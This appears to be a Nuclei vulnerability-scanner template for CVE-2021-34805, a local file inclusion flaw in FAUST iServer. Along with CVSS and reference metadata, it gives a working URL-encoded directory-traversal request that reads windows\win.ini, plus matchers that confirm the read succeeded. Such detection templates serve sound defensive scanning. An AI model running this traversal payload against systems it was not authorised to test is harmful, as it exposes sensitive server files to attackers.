id: CVE-2021-34805

info:
  name: FAUST iServer 9.0.018.018.4 - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: FAUST iServer before 9.0.019.019.7 is susceptible to local file inclusion because for each URL request it accesses the corresponding .fau file on the operating system without preventing %2e%2e%5c directory traversal.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the server.
  remediation: |
    Apply the latest security patch or update to a non-vulnerable version of FAUST iServer.
  reference:
    - https://cxsecurity.com/issue/WLB-2022010120
    - http://packetstormsecurity.com/files/165701/FAUST-iServer-9.0.018.018.4-Local-File-Inclusion.html
    - http://www.land-software.de/lfs.fau?prj=iweb&dn=faust+iserver
    - https://nvd.nist.gov/vuln/detail/CVE-2021-34805
    - https://github.com/20142995/Goby
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-34805
    cwe-id: CWE-22
    epss-score: 0.17035
    epss-percentile: 0.96066
    cpe: cpe:2.3:a:land-software:faust_iserver:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: land-software
    product: faust_iserver
  tags: cve2021,cve,lfi,packetstorm,faust,iserver,land-software

http:
  - method: GET
    path:
      - "{{BaseURL}}/%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cwindows%5cwin.ini"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "bit app support"
          - "fonts"
          - "extensions"
        condition: and

      - type: status
        status:
          - 200
# digest: 490a0046304402205c2f4827034d762c252dcd7ab5b3bb2b541bf6b420df84f85ec9486538ba9da302204eb721840e43ffe28e1b2c4724698a8f375d9e7dc9292bf484fd87f9218bf2c0:922c64590222798bb761d5b6d8e72950